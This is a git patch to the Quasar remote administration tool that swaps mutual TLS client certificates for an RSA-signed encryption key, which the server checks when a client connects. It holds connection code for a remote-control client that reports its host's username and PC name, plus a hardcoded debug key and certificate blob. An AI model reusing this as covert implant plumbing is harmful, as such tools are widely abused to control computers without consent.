From a7dc36ae187989abe03868446e8c9c80440ff243 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 4 Nov 2018 22:53:14 +0100 Subject: [PATCH] Remove client certificates and use different way for client authentication --- Quasar.Client/Config/Settings.cs | 45 +++++++++----- Quasar.Client/Networking/Client.cs | 13 ++-- Quasar.Client/Networking/QuasarClient.cs | 7 ++- Quasar.Client/Program.cs | 2 +- Quasar.Common/Cryptography/Sha256.cs | 10 ++- .../Messages/ClientIdentification.cs | 3 + Quasar.Server/Build/ClientBuilder.cs | 21 ++++--- Quasar.Server/Forms/FrmBuilder.cs | 30 +++++++-- Quasar.Server/Networking/QuasarServer.cs | 19 +++++- Quasar.Server/Networking/Server.cs | 62 ++----------------- 10 files changed, 108 insertions(+), 104 deletions(-) diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 31b6aa6f..aa819405 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,17 +1,17 @@ -using System; -using System.Security.Cryptography.X509Certificates; +using Quasar.Common.Cryptography; using Quasar.Common.Helpers; - -#if !DEBUG -using Quasar.Common.Cryptography; -#endif +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; namespace Quasar.Client.Config { public static class Settings { #if DEBUG - public static string VERSION = System.Windows.Forms.Application.ProductVersion; + public static string VERSION = Application.ProductVersion; public static string HOSTS = "localhost:4782;"; public static int RECONNECTDELAY = 500; public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; @@ -27,17 +27,14 @@ public static class Settings public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; - public static string CLIENTCERTIFICATESTR = "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"; - public static X509Certificate2 CLIENTCERTIFICATE; - public static string SERVERCERTIFICATESTR = CLIENTCERTIFICATESTR; // dummy certificate, it's not used in production + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; public static bool HIDEINSTALLSUBDIRECTORY = false; public static bool Initialize() { - CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(CLIENTCERTIFICATESTR)); - SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(SERVERCERTIFICATESTR)); FixDirectory(); return true; } @@ -58,8 +55,7 @@ public static bool Initialize() public static string ENCRYPTIONKEY = ""; public static string TAG = ""; public static string LOGDIRECTORYNAME = ""; - public static string CLIENTCERTIFICATESTR = ""; - public static X509Certificate2 CLIENTCERTIFICATE; + public static string SERVERSIGNATURE = ""; public static string SERVERCERTIFICATESTR = ""; public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; @@ -77,10 +73,10 @@ public static bool Initialize() MUTEX = aes.Decrypt(MUTEX); STARTUPKEY = aes.Decrypt(STARTUPKEY); LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); - CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(CLIENTCERTIFICATESTR))); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); FixDirectory(); - return true; + return VerifyHash(); } #endif @@ -101,5 +97,20 @@ static void FixDirectory() DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); } + + static bool VerifyHash() + { + try + { + var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"), + Convert.FromBase64String(SERVERSIGNATURE)); + + } + catch (Exception) + { + return false; + } + } } -} \ No newline at end of file +} diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index e3b40efa..32412c1f 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -176,12 +176,10 @@ public ReverseProxyClient[] ProxyClients } } - private SslStream _stream; - /// - /// The client certificate. + /// The stream used for communication. /// - private readonly X509Certificate2 _clientCertificate; + private SslStream _stream; /// /// The server certificate. @@ -276,11 +274,9 @@ public ReverseProxyClient[] ProxyClients /// /// Constructor of the client, initializes serializer types. /// - /// The client certificate. /// The server certificate. - protected Client(X509Certificate2 clientCertificate, X509Certificate2 serverCertificate) + protected Client(X509Certificate2 serverCertificate) { - _clientCertificate = clientCertificate; _serverCertificate = serverCertificate; _readBuffer = new byte[BUFFER_SIZE]; _tempHeader = new byte[HEADER_SIZE]; @@ -306,8 +302,7 @@ protected void Connect(IPAddress ip, ushort port) if (handle.Connected) { _stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate); - X509CertificateCollection col = new X509CertificateCollection {_clientCertificate}; - _stream.AuthenticateAsClient(ip.ToString(), col, SslProtocols.Tls, false); + _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false); _stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null); OnClientState(true); } diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs index 627b1365..a3db3fdc 100644 --- a/Quasar.Client/Networking/QuasarClient.cs +++ b/Quasar.Client/Networking/QuasarClient.cs @@ -24,8 +24,8 @@ public class QuasarClient : Client private readonly HostsManager _hosts; private readonly SafeRandom _random; - public QuasarClient(HostsManager hostsManager, X509Certificate2 clientCertificate, X509Certificate2 serverCertificate) - : base(clientCertificate, serverCertificate) + public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) { this._hosts = hostsManager; this._random = new SafeRandom(); @@ -112,7 +112,8 @@ private void OnClientState(Client client, bool connected) Username = WindowsAccountHelper.GetName(), PcName = SystemHelper.GetPcName(), Tag = Settings.TAG, - EncryptionKey = Settings.ENCRYPTIONKEY + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE) }); if (ClientData.AddToStartupFailed) diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs index f9fd118d..9da5a530 100644 --- a/Quasar.Client/Program.cs +++ b/Quasar.Client/Program.cs @@ -138,7 +138,7 @@ private static bool Initialize() }) {IsBackground = true}.Start(); } - ConnectClient = new QuasarClient(hosts, Settings.CLIENTCERTIFICATE, Settings.SERVERCERTIFICATE); + ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); return true; } else diff --git a/Quasar.Common/Cryptography/Sha256.cs b/Quasar.Common/Cryptography/Sha256.cs index 9446a45b..c7a6414c 100644 --- a/Quasar.Common/Cryptography/Sha256.cs +++ b/Quasar.Common/Cryptography/Sha256.cs @@ -11,7 +11,7 @@ public static string ComputeHash(string input) using (SHA256Managed sha = new SHA256Managed()) { - data = sha.ComputeHash(data, 0, data.Length); + data = sha.ComputeHash(data); } StringBuilder hash = new StringBuilder(); @@ -21,5 +21,13 @@ public static string ComputeHash(string input) return hash.ToString().ToUpper(); } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } } } diff --git a/Quasar.Common/Messages/ClientIdentification.cs b/Quasar.Common/Messages/ClientIdentification.cs index da73b302..5fae372a 100644 --- a/Quasar.Common/Messages/ClientIdentification.cs +++ b/Quasar.Common/Messages/ClientIdentification.cs @@ -43,5 +43,8 @@ public class ClientIdentification : IMessage [ProtoMember(13)] public string EncryptionKey { get; set; } + + [ProtoMember(14)] + public byte[] Signature { get; set; } } } diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs index 625443ee..f5be4962 100644 --- a/Quasar.Server/Build/ClientBuilder.cs +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -2,12 +2,11 @@ using Mono.Cecil.Cil; using Quasar.Common.Cryptography; using Quasar.Common.Helpers; -using System; -using System.IO; -using System.Security.Cryptography.X509Certificates; -using System.Windows.Forms; -using Quasar.Server.Helper; using Quasar.Server.Models; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; using Vestris.ResourceLib; namespace Quasar.Server.Build @@ -86,9 +85,15 @@ private void WriteSettings(AssemblyDefinition asmDef) var aes = new Aes256(key); var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); - var clientCertificate = CertificateHelper.CreateCertificate("Quasar Client", caCertificate, 4096); var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + byte[] signature; + using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); + } + foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "Quasar.Client.Config.Settings") @@ -132,8 +137,8 @@ private void WriteSettings(AssemblyDefinition asmDef) case 9: //LogDirectoryName methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); break; - case 10: //ClientCertificate - methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(clientCertificate.Export(X509ContentType.Pkcs12))); + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); break; case 11: //ServerCertificate methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index 31a490a4..1e718548 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -378,15 +378,33 @@ private void BuildClient(object o) builder.Build(); - MessageBox.Show(this, - $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!", - "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + try + { + this.Invoke((MethodInvoker) delegate + { + MessageBox.Show(this, + $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!", + "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + }); + } + catch (Exception) + { + } } catch (Exception ex) { - MessageBox.Show(this, - $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", - MessageBoxButtons.OK, MessageBoxIcon.Error); + try + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(this, + $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", + MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + } + catch (Exception) + { + } } SetBuildState(true); } diff --git a/Quasar.Server/Networking/QuasarServer.cs b/Quasar.Server/Networking/QuasarServer.cs index 1afaa630..7783f8dd 100644 --- a/Quasar.Server/Networking/QuasarServer.cs +++ b/Quasar.Server/Networking/QuasarServer.cs @@ -1,6 +1,10 @@ -using Quasar.Common.Messages; +using System; +using Quasar.Common.Messages; using System.Linq; +using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; +using System.Text; +using Quasar.Common.Cryptography; namespace Quasar.Server.Networking { @@ -143,7 +147,20 @@ private bool IdentifyClient(Client client, ClientIdentification packet) //if (Settings.ShowToolTip) // client.Send(new GetSystemInfo()); +#if !DEBUG + try + { + var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)), + CryptoConfig.MapNameToOID("SHA256"), packet.Signature); + } + catch (Exception) + { + return false; + } +#else return true; +#endif } } } diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs index 952f4009..9f00e9d3 100644 --- a/Quasar.Server/Networking/Server.cs +++ b/Quasar.Server/Networking/Server.cs @@ -182,7 +182,7 @@ protected Client[] Clients /// /// The server certificate. /// - private readonly X509Certificate2 _serverCertificate; + protected readonly X509Certificate2 ServerCertificate; /// /// The event to accept new connections asynchronously. @@ -215,7 +215,7 @@ protected Client[] Clients /// The server certificate. protected Server(X509Certificate2 serverCertificate) { - _serverCertificate = serverCertificate; + ServerCertificate = serverCertificate; TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray()); } @@ -274,9 +274,9 @@ private void AcceptClient(object s, SocketAsyncEventArgs e) { Socket clientSocket = e.AcceptSocket; clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime); - sslStream = new SslStream(new NetworkStream(clientSocket, true), false, ValidateClientCertificate); + sslStream = new SslStream(new NetworkStream(clientSocket, true), false); // the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket - sslStream.BeginAuthenticateAsServer(_serverCertificate, true, SslProtocols.Tls, false, EndAuthenticateClient, + sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticateClient, new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint}); } catch (Exception) @@ -319,12 +319,6 @@ private void EndAuthenticateClient(IAsyncResult ar) { con.Stream.EndAuthenticateAsServer(ar); - // only allow connection which are authenticated on both sides - if (!con.Stream.IsMutuallyAuthenticated) - { - throw new AuthenticationException("Client did not provide a client certificate."); - } - Client client = new Client(_bufferPool, con.Stream, con.EndPoint); AddClient(client); OnClientState(client, true); @@ -335,54 +329,6 @@ private void EndAuthenticateClient(IAsyncResult ar) } } - /// - /// Validates the client certificate by checking whether it has been signed by the server. - /// - /// The sender of the callback. - /// The client certificate to validate. - /// The X.509 chain. - /// The SSL policy errors. - /// Returns true when the validation was successful, otherwise false. - public bool ValidateClientCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) - { -#if DEBUG - // for debugging don't validate client certificate - return true; -#else - // if client does not provide a certificate, don't accept connection - if (certificate == null) return false; - - chain.Reset(); - chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck; - chain.ChainPolicy.VerificationFlags = X509VerificationFlags.AllowUnknownCertificateAuthority; - chain.ChainPolicy.VerificationTime = DateTime.UtcNow; - chain.ChainPolicy.ExtraStore.Add(_serverCertificate); - - chain.Build(new X509Certificate2(certificate)); - - bool result = true; - - foreach (var status in chain.ChainStatus) - { - if (status.Status == X509ChainStatusFlags.UntrustedRoot) - { - // self-signed certificates with an untrusted root are valid. - continue; - } - else - { - if (status.Status != X509ChainStatusFlags.NoError) - { - // if there are any other errors in the certificate chain, the certificate is invalid. - result = false; - } - } - } - - return result; -#endif - } - /// /// Adds a connected client to the list of clients, /// subscribes to the client's events.